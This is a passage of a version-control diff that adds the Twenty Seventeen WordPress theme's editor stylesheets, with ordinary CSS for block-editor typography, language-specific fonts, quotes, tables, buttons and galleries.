+Theme Name: Twenty Seventeen
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Settings
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-size: 15px;
+	font-size: 0.9375rem;
+}
+
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #333;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 300;
+}
+
+@media screen and (min-width: 30em) {
+
+	.edit-post-visual-editor .editor-block-list__block {
+		font-size: 18px;
+		font-size: 1.125rem;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 26px;
+		font-size: 1.625rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h1 {
+		font-size: 30px;
+		font-size: 1.875rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h2 {
+		font-size: 26px;
+		font-size: 1.625rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 22px;
+		font-size: 1.375rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 18px;
+		font-size: 1.125rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5 {
+		font-size: 13px;
+		font-size: 0.8125rem;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+}
+
+@media screen and (min-width: 48em) {
+
+	.edit-post-visual-editor .editor-block-list__block {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+
+	.editor-rich-text__tinymce.mce-content-body {
+		line-height: 1.5;
+	}
+}
+
+/* Typography for Arabic Font */
+
+html[lang="ar"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="ary"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="azb"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="fa-IR"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="haz"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="ps"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="ur"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: Tahoma, Arial, sans-serif;
+}
+
+html[lang="ar"] .edit-post-visual-editor h1,
+html[lang="ar"] .edit-post-visual-editor h2,
+html[lang="ar"] .edit-post-visual-editor h3,
+html[lang="ar"] .edit-post-visual-editor h4,
+html[lang="ar"] .edit-post-visual-editor h5,
+html[lang="ar"] .edit-post-visual-editor h6,
+html[lang="ary"] .edit-post-visual-editor h1,
+html[lang="ary"] .edit-post-visual-editor h2,
+html[lang="ary"] .edit-post-visual-editor h3,
+html[lang="ary"] .edit-post-visual-editor h4,
+html[lang="ary"] .edit-post-visual-editor h5,
+html[lang="ary"] .edit-post-visual-editor h6,
+html[lang="azb"] .edit-post-visual-editor h1,
+html[lang="azb"] .edit-post-visual-editor h2,
+html[lang="azb"] .edit-post-visual-editor h3,
+html[lang="azb"] .edit-post-visual-editor h4,
+html[lang="azb"] .edit-post-visual-editor h5,
+html[lang="azb"] .edit-post-visual-editor h6,
+html[lang="fa-IR"] .edit-post-visual-editor h1,
+html[lang="fa-IR"] .edit-post-visual-editor h2,
+html[lang="fa-IR"] .edit-post-visual-editor h3,
+html[lang="fa-IR"] .edit-post-visual-editor h4,
+html[lang="fa-IR"] .edit-post-visual-editor h5,
+html[lang="fa-IR"] .edit-post-visual-editor h6,
+html[lang="haz"] .edit-post-visual-editor h1,
+html[lang="haz"] .edit-post-visual-editor h2,
+html[lang="haz"] .edit-post-visual-editor h3,
+html[lang="haz"] .edit-post-visual-editor h4,
+html[lang="haz"] .edit-post-visual-editor h5,
+html[lang="haz"] .edit-post-visual-editor h6,
+html[lang="ps"] .edit-post-visual-editor h1,
+html[lang="ps"] .edit-post-visual-editor h2,
+html[lang="ps"] .edit-post-visual-editor h3,
+html[lang="ps"] .edit-post-visual-editor h4,
+html[lang="ps"] .edit-post-visual-editor h5,
+html[lang="ps"] .edit-post-visual-editor h6,
+html[lang="ur"] .edit-post-visual-editor h1,
+html[lang="ur"] .edit-post-visual-editor h2,
+html[lang="ur"] .edit-post-visual-editor h3,
+html[lang="ur"] .edit-post-visual-editor h4,
+html[lang="ur"] .edit-post-visual-editor h5,
+html[lang="ur"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Chinese Font */
+
+html[lang^="zh-"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "PingFang TC", "Helvetica Neue", Helvetica, STHeitiTC-Light, Arial, sans-serif;
+}
+
+html[lang="zh-CN"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "PingFang SC", "Helvetica Neue", Helvetica, STHeitiSC-Light, Arial, sans-serif;
+}
+
+html[lang^="zh-"] .edit-post-visual-editor h1,
+html[lang^="zh-"] .edit-post-visual-editor h2,
+html[lang^="zh-"] .edit-post-visual-editor h3,
+html[lang^="zh-"] .edit-post-visual-editor h4,
+html[lang^="zh-"] .edit-post-visual-editor h5,
+html[lang^="zh-"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Cyrillic Font */
+
+html[lang="bg-BG"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="ru-RU"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="uk"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "Helvetica Neue", Helvetica, "Segoe UI", Arial, sans-serif;
+}
+
+html[lang="bg-BG"] .edit-post-visual-editor h1,
+html[lang="bg-BG"] .edit-post-visual-editor h2,
+html[lang="bg-BG"] .edit-post-visual-editor h3,
+html[lang="bg-BG"] .edit-post-visual-editor h4,
+html[lang="bg-BG"] .edit-post-visual-editor h5,
+html[lang="bg-BG"] .edit-post-visual-editor h6,
+html[lang="ru-RU"] .edit-post-visual-editor h1,
+html[lang="ru-RU"] .edit-post-visual-editor h2,
+html[lang="ru-RU"] .edit-post-visual-editor h3,
+html[lang="ru-RU"] .edit-post-visual-editor h4,
+html[lang="ru-RU"] .edit-post-visual-editor h5,
+html[lang="ru-RU"] .edit-post-visual-editor h6,
+html[lang="uk"] .edit-post-visual-editor h1,
+html[lang="uk"] .edit-post-visual-editor h2,
+html[lang="uk"] .edit-post-visual-editor h3,
+html[lang="uk"] .edit-post-visual-editor h4,
+html[lang="uk"] .edit-post-visual-editor h5,
+html[lang="uk"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+	line-height: 1.2;
+}
+
+/* Typography for Devanagari Font */
+
+html[lang="bn-BD"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="hi-IN"] .edit-post-visual-editor .editor-block-list__block,
+html[lang="mr-IN"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: Arial, sans-serif;
+}
+
+html[lang="bn-BD"] .edit-post-visual-editor h1,
+html[lang="bn-BD"] .edit-post-visual-editor h2,
+html[lang="bn-BD"] .edit-post-visual-editor h3,
+html[lang="bn-BD"] .edit-post-visual-editor h4,
+html[lang="bn-BD"] .edit-post-visual-editor h5,
+html[lang="bn-BD"] .edit-post-visual-editor h6,
+html[lang="hi-IN"] .edit-post-visual-editor h1,
+html[lang="hi-IN"] .edit-post-visual-editor h2,
+html[lang="hi-IN"] .edit-post-visual-editor h3,
+html[lang="hi-IN"] .edit-post-visual-editor h4,
+html[lang="hi-IN"] .edit-post-visual-editor h5,
+html[lang="hi-IN"] .edit-post-visual-editor h6,
+html[lang="mr-IN"] .edit-post-visual-editor h1,
+html[lang="mr-IN"] .edit-post-visual-editor h2,
+html[lang="mr-IN"] .edit-post-visual-editor h3,
+html[lang="mr-IN"] .edit-post-visual-editor h4,
+html[lang="mr-IN"] .edit-post-visual-editor h5,
+html[lang="mr-IN"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Greek Font */
+
+html[lang="el"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+html[lang="el"] .edit-post-visual-editor h1,
+html[lang="el"] .edit-post-visual-editor h2,
+html[lang="el"] .edit-post-visual-editor h3,
+html[lang="el"] .edit-post-visual-editor h4,
+html[lang="el"] .edit-post-visual-editor h5,
+html[lang="el"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+	line-height: 1.3;
+}
+
+/* Typography for Gujarati Font */
+
+html[lang="gu-IN"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: Arial, sans-serif;
+}
+
+html[lang="gu-IN"] .edit-post-visual-editor h1,
+html[lang="gu-IN"] .edit-post-visual-editor h2,
+html[lang="gu-IN"] .edit-post-visual-editor h3,
+html[lang="gu-IN"] .edit-post-visual-editor h4,
+html[lang="gu-IN"] .edit-post-visual-editor h5,
+html[lang="gu-IN"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Hebrew Font */
+
+html[lang="he-IL"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "Arial Hebrew", Arial, sans-serif;
+}
+
+html[lang="he-IL"] .edit-post-visual-editor h1,
+html[lang="he-IL"] .edit-post-visual-editor h2,
+html[lang="he-IL"] .edit-post-visual-editor h3,
+html[lang="he-IL"] .edit-post-visual-editor h4,
+html[lang="he-IL"] .edit-post-visual-editor h5,
+html[lang="he-IL"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Japanese Font */
+
+html[lang="ja"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "Hiragino Kaku Gothic Pro", Meiryo, sans-serif;
+}
+
+html[lang="ja"] .edit-post-visual-editor h1,
+html[lang="ja"] .edit-post-visual-editor h2,
+html[lang="ja"] .edit-post-visual-editor h3,
+html[lang="ja"] .edit-post-visual-editor h4,
+html[lang="ja"] .edit-post-visual-editor h5,
+html[lang="ja"] .edit-post-visual-editor h6 {
+	font-weight: 700;
+}
+
+/* Typography for Korean font */
+
+html[lang="ko-KR"] .edit-post-visual-editor .editor-block-list__block {
+	font-family: "Apple SD Gothic Neo", "Malgun Gothic", "Nanum Gothic", Dotum, sans-serif;
+}
+
+html[lang="ko-KR"] .edit-post-visual-editor h1,
+html[lang="ko-KR"] .edit-post-visual-editor h2,
+html[lang="ko-KR"] .edit-post-visual-editor h3,
+html[lang="ko-KR"] .edit-post-visual-editor h4,
+html[lang="ko-KR"] .edit-post-visual-editor h5,
+html[lang="ko-KR"] .edit-post-visual-editor h6 {
+	font-weight: 600;
+}
+
+/* Typography for Thai Font */
+
+html[lang="th"] .edit-post-visual-editor .editor-block-list__block {
+	line-height: 1.8;
+	font-family: "Sukhumvit Set", "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+html[lang="th"] .edit-post-visual-editor h1,
+html[lang="th"] .edit-post-visual-editor h2,
+html[lang="th"] .edit-post-visual-editor h3,
+html[lang="th"] .edit-post-visual-editor h4,
+html[lang="th"] .edit-post-visual-editor h5,
+html[lang="th"] .edit-post-visual-editor h6 {
+	line-height: 1.65;
+	font-family: "Sukhumvit Set", "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+/* Remove letter-spacing for all non-latin alphabets */
+
+html[lang="ar"] .edit-post-visual-editor *,
+html[lang="ary"] .edit-post-visual-editor *,
+html[lang="azb"] .edit-post-visual-editor *,
+html[lang="haz"] .edit-post-visual-editor *,
+html[lang="ps"] .edit-post-visual-editor *,
+html[lang^="zh-"] .edit-post-visual-editor *,
+html[lang="bg-BG"] .edit-post-visual-editor *,
+html[lang="ru-RU"] .edit-post-visual-editor *,
+html[lang="uk"] .edit-post-visual-editor *,
+html[lang="bn-BD"] .edit-post-visual-editor *,
+html[lang="hi-IN"] .edit-post-visual-editor *,
+html[lang="mr-IN"] .edit-post-visual-editor *,
+html[lang="el"] .edit-post-visual-editor *,
+html[lang="gu-IN"] .edit-post-visual-editor *,
+html[lang="he-IL"] .edit-post-visual-editor *,
+html[lang="ja"] .edit-post-visual-editor *,
+html[lang="ko-KR"] .edit-post-visual-editor *,
+html[lang="th"] .edit-post-visual-editor * {
+	letter-spacing: 0 !important;
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Settings
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.editor-styles-wrapper {
+	max-width: 100% !important; /* Override where editor-style.css is affecting this. */
+}
+
+.wp-block {
+	max-width: 674px; /* Based on one-column post width; 644px + 30px to account for padding. */
+}
+
+/* Alignments */
+
+.edit-post-visual-editor .alignleft {
+	margin-right: 1.5em;
+}
+
+.edit-post-visual-editor .alignright {
+	margin-left: 1.5em;
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #222;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol,
+.block-library-list .editor-rich-text__tinymce {
+	margin: 0 0 1.5em 1.5em;
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style: disc;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+}
+
+.edit-post-visual-editor li > ul:not(.wp-block-gallery),
+.editor-block-list__block li > ul:not(.wp-block-gallery),
+.block-library-list li > ul:not(.wp-block-gallery),
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin-bottom: 0;
+	margin-left: 1.5em;
+}
+
+.edit-post-visual-editor li,
+.editor-block-list__block li,
+.block-library-list li {
+	margin: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol,
+.rtl .block-library-list .editor-rich-text__tinymce,
+.rtl .edit-post-visual-editor li > ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block li > ul:not(.wp-block-gallery),
+.rtl .block-library-list li > ul:not(.wp-block-gallery),
+.rtl .edit-post-visual-editor li > ol,
+.rtl .editor-block-list__block li > ol,
+.rtl .block-library-list li > ol {
+	margin-left: 1.5em;
+	margin-right: 1.5em;
+}
+
+/* Quote styles */
+
+.editor-block-list__block blockquote p {
+	font-size: 18px;
+	font-size: 1.125rem;
+}
+
+.editor-block-list__block blockquote.alignright p,
+.editor-block-list__block blockquote.alignleft p {
+	font-size: 13px;
+	font-size: 0.8125rem;
+}
+
+.editor-block-list__block blockquote cite {
+	display: block;
+	font-style: normal;
+	font-weight: 600;
+	margin-top: 0.5em;
+}
+
+/* Caption styles*/
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	font-style: italic;
+	margin-bottom: 1.5em;
+	text-align: left;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	text-align: right;
+}
+
+/* Code styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+}
+
+/* Table styles */
+
+.rtl .editor-block-list__block th {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+.wp-block-paragraph.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.075em;
+}
+
+.wp-block-paragraph.has-background {
+	padding: 20px 30px;
+}
+
+/* Gallery */
+
+.wp-block-gallery figcaption {
+	font-style: italic;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	color: #666;
+	font-size: 18px;
+	font-size: 1.125rem;
+	font-style: italic;
+	line-height: 1.7;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding: 0;
+}
+
+.editor-block-list__block .wp-block-quote .wp-block-quote__citation {
+	color: inherit;
+	display: block;
+	font-size: inherit;
+	font-style: normal;
+	font-weight: 600;
+	margin-top: 0.5em;
+}
+
+.wp-block-quote.alignleft,
+.wp-block-quote.alignright {
+	color: #666;
+	width: 48%;
+}
+
+.editor-block-list__block .wp-block-quote.alignleft p,
+.editor-block-list__block .wp-block-quote.alignright p,
+.editor-block-list__block .wp-block-quote.alignleft .wp-block-quote__citation,
+.editor-block-list__block .wp-block-quote.alignright .wp-block-quote__citation {
+	font-size: 13px;
+	font-size: 0.8125rem;
+}
+
+.editor-block-list__block .wp-block-quote.alignleft p:last-of-type,
+.editor-block-list__block .wp-block-quote.alignright p:last-of-type {
+	margin-bottom: 0;
+}
+
+.wp-block-quote.is-large .wp-block-quote__citation,
+.wp-block-quote.is-style-large .wp-block-quote__citation {
+	text-align: right;
+}
+
+.rtl .wp-block-quote.is-large .wp-block-quote__citation,
+.rtl .wp-block-quote.is-style-large .wp-block-quote__citation {
+	text-align: left;
+}
+
+@media screen and (min-width: 30em) {
+	.editor-block-list__block .wp-block-quote.alignleft p,
+	.editor-block-list__block .wp-block-quote.alignright p,
+	.editor-block-list__block .wp-block-quote.alignleft .wp-block-quote__citation,
+	.editor-block-list__block .wp-block-quote.alignright .wp-block-quote__citation,
+	.editor-block-list__block .wp-block-quote footer {
+		font-size: 14px;
+		font-size: 0.875rem;
+	}
+}
+
+@media screen and (min-width: 48em) {
+	.editor-block-list__block .wp-block-quote.alignleft p,
+	.editor-block-list__block .wp-block-quote.alignright p,
+	.editor-block-list__block .wp-block-quote.alignleft .wp-block-quote__citation,
+	.editor-block-list__block .wp-block-quote.alignright .wp-block-quote__citation {
+		font-size: 13px;
+		font-size: 0.8125rem;
+	}
+
+	.editor-block-list__block .wp-block-quote.alignleft {
+		margin-left: -17.5%;
+		width: 48%;
+	}
+
+	.editor-block-list__block .wp-block-quote.alignright {
+		margin-right: -17.5%;
+		width: 48%;
+	}
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink {
+	-webkit-box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 1px 0 rgba(0, 0, 0, 1);
+	box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 1px 0 rgba(0, 0, 0, 1);
+}
+
+.wp-block-file .wp-block-file__button {
+	background-color: #222;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #fff;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	padding: 0.7em 2em;
+	-webkit-transition: background-color 0.2s ease-in-out;
+	transition: background-color 0.2s ease-in-out;
+	white-space: nowrap;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Classic */
+
+.wp-block-freeform.block-library-rich-text__tinymce li,
+.wp-block-freeform.block-library-rich-text__tinymce p {
+	line-height: 1.5;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+}
+
+.wp-block-pullquote.alignleft blockquote > .editor-rich-text p,
+.wp-block-pullquote.alignright blockquote > .editor-rich-text p {
+	font-size: 20px;
+}
+
+
+.wp-block-pullquote .wp-block-pullquote__citation {
+	font-size: inherit;
+	font-weight: 600;
+	text-transform: none;
+}
+
+/* Table */
+
+table.wp-block-table {
+	border-collapse: collapse;
+	margin: 0 0 1.5em;
+	width: 100%;
+}
+
+table.wp-block-table thead th {
+	border: 0;
+	border-bottom: 2px solid #bbb;
+	padding-bottom: 0.5em;
+}
+
+table.wp-block-table th {
+	padding: 0.4em;
+	text-align: left;
+}
+
+table.wp-block-table tr {
+	border-bottom: 1px solid #eee;
+}
+
+table.wp-block-table td {
+	border: 0;
+	padding: 0.4em;
+}
+
+table.wp-block-table th:first-child,
+table.wp-block-table td:first-child {
+	padding-left: 0;
+}
+
+table.wp-block-table th:last-child,
+table.wp-block-table td:last-child {
+	padding-right: 0;
+}
+
+.wp-block-table__cell-content {
+	padding: 0;
+}
+
+.rtl table.wp-block-table th,
+.rtl table.wp-block-table td {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Separator */
+
+.edit-post-visual-editor .wp-block-separator {
+	border: 0;
+}
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	line-height: 1.66;
+	margin-top: 2em;
+	padding: 0.7em 2em;
+	-webkit-transition: background-color 0.2s ease-in-out;
+	transition: background-color 0.2s ease-in-out;
+	white-space: nowrap;
+}
+
+.wp-block-button__link {
+	background-color: #222;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link {
+	color: #222;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+}
+
+/* Latest Comments */
+
+.editor-block-list__block ol.wp-block-latest-comments > li:before {
+	content: '';
+}
+
+.wp-block-latest-comments article {
+	margin-bottom: 4em;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+}
+
+.wp-block-latest-comments__comment-meta {
+	font-size: 16px;
+	font-size: 1rem;
+	margin-bottom: 0.4em;
+}
+
+.editor-block-list__block .wp-block-latest-comments__comment-meta a {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	font-weight: 700;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #767676;
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	margin-top: 0.4em;
+	text-transform: uppercase;
+}
+
+.editor-block-list__block .wp-block-latest-comments__comment-excerpt p {
+	font-size: 14px;
+	font-size: 0.875rem;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-style.css	(revision 56912)
@@ -0,0 +1,582 @@
+/*
+Theme Name: Twenty Seventeen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Alignment
+ * 5.0 - Caption
+ * 6.0 - Galleries
+ * 7.0 - Media Elements
+ * 8.0 - RTL
+ */
+
+/**
+ * 1.0 - Body
+ */
+
+body {
+	background-color: #fff;
+	color: #333;
+	margin: 20px 40px;
+	max-width: 580px;
+}
+
+/**
+ * 2.0 - Typography
+ */
+
+body,
+button,
+input,
+select,
+textarea {
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+	font-size: 16px;
+	font-size: 1rem;
+	font-weight: 400;
+	line-height: 1.66;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	line-height: 1.4;
+	margin: 0 0 0.75em;
+	padding: 1.5em 0 0;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	padding-top: 0;
+}
+
+h1 {
+	font-size: 24px;
+	font-size: 1.5rem;
+	font-weight: 300;
+}
+
+h2 {
+	color: #666;
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 300;
+}
+
+h3 {
+	color: #333;
+	font-size: 18px;
+	font-size: 1.125rem;
+	font-weight: 300;
+}
+
+h4 {
+	color: #333;
+	font-size: 16px;
+	font-size: 1rem;
+	font-weight: 800;
+}
+
+h5 {
+	color: #767676;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-weight: 800;
+	letter-spacing: 0.15em;
+	text-transform: uppercase;
+}
+
+h6 {
+	color: #333;
+	font-size: 15px;
+	font-size: 0.9375rem;
+	font-weight: 800;
+}
+
+p {
+	margin: 0 0 1.5em;
+	padding: 0;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	color: #666;
+	font-size: 18px;
+	font-size: 1.125rem;
+	font-style: italic;
+	line-height: 1.7;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+}
+
+blockquote.alignleft,
+blockquote.alignright {
+	font-size: 14px;
+	font-size: 0.875rem;
+	width: 34%;
+}
+
+address {
+	margin: 0 0 1.5em;
+}
+
+pre {
+	background: #eee;
+	font-family: "Courier 10 Pitch", Courier, monospace;
+	font-size: 15px;
+	font-size: 0.9375rem;
+	line-height: 1.6;
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 1.6em;
+}
+
+code,
+kbd,
+tt,
+var {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+	font-size: 15px;
+	font-size: 0.9375rem;
+}
+
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+
+mark,
+ins {
+	background: #eee;
+	text-decoration: none;
+}
+
+big {
+	font-size: 125%;
+}
+
+blockquote,
+q {
+	quotes: "" "";
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+}
+
+/* Typography for Thai Font */
+
+html[lang="th"] h1,
+html[lang="th"] h2,
+html[lang="th"] h3,
+html[lang="th"] h4,
+html[lang="th"] h5,
+html[lang="th"] h6 {
+	letter-spacing: 0;
+	line-height: 1.65;
+}
+
+html[lang="th"] body,
+html[lang="th"] button,
+html[lang="th"] input,
+html[lang="th"] select,
+html[lang="th"] textarea {
+	line-height: 1.8;
+}
+
+/**
+ * 3.0 - Elements
+ */
+
+hr {
+	background-color: #bbb;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.5em;
+}
+
+ul,
+ol {
+	margin: 0 0 1.5em;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol > li {
+	position: relative;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+	margin-left: 1.5em;
+}
+
+dt {
+	font-weight: 700;
+}
+
+dd {
+	margin: 0 1.5em 1.5em;
+}
+
+table {
+	border-collapse: collapse;
+	margin: 0 0 1.5em;
+	width: 100%;
+}
+
+thead th {
+	border-bottom: 2px solid #bbb;
+	padding-bottom: 0.5em;
+}
+
+th {
+	padding: 0.4em;
+	text-align: left;
+}
+
+tr {
+	border-bottom: 1px solid #eee;
+}
+
+td {
+	padding: 0.4em;
+}
+
+th:first-child,
+td:first-child {
+	padding-left: 0;
+}
+
+th:last-child,
+td:last-child {
+	padding-right: 0;
+}
+
+a {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(15, 15, 15, 1);
+	box-shadow: inset 0 -1px 0 rgba(15, 15, 15, 1);
+	color: #222;
+	text-decoration: none;
+	-webkit-transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out, -webkit-box-shadow 130ms ease-in-out;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:hover,
+a:focus {
+	color: #000;
+	-webkit-box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+	box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+}
+
+/* Fixes linked images */
+
+a img {
+	background: #fff;
+	-webkit-box-shadow: 0 0 0 6px #fff;
+	box-shadow: 0 0 0 6px #fff;
+}
+
+/**
+ * 4.0 - Alignment
+ */
+
+img {
+	height: auto; /* Make sure images are scaled correctly. */
+	max-width: 100%; /* Adhere to container width. */
+}
+
+embed,
+iframe,
+object {
+	margin-bottom: 1.5em;
+	max-width: 100%;
+}
+
+/**
+ * 5.0 - Caption
+ */
+
+.wp-caption {
+	color: #666;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: italic;
+	margin-bottom: 1.5em;
+	max-width: 100%;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.wp-caption .wp-caption-text {
+	margin: 0.8075em 0;
+}
+
+/**
+ * 6.0 - Galleries
+ */
+
+.gallery {
+	margin-bottom: 1.5em;
+}
+
+.gallery-item {
+	display: inline-block;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-item a,
+.gallery-item a:hover,
+.gallery-item a:focus {
+	-webkit-box-shadow: none;
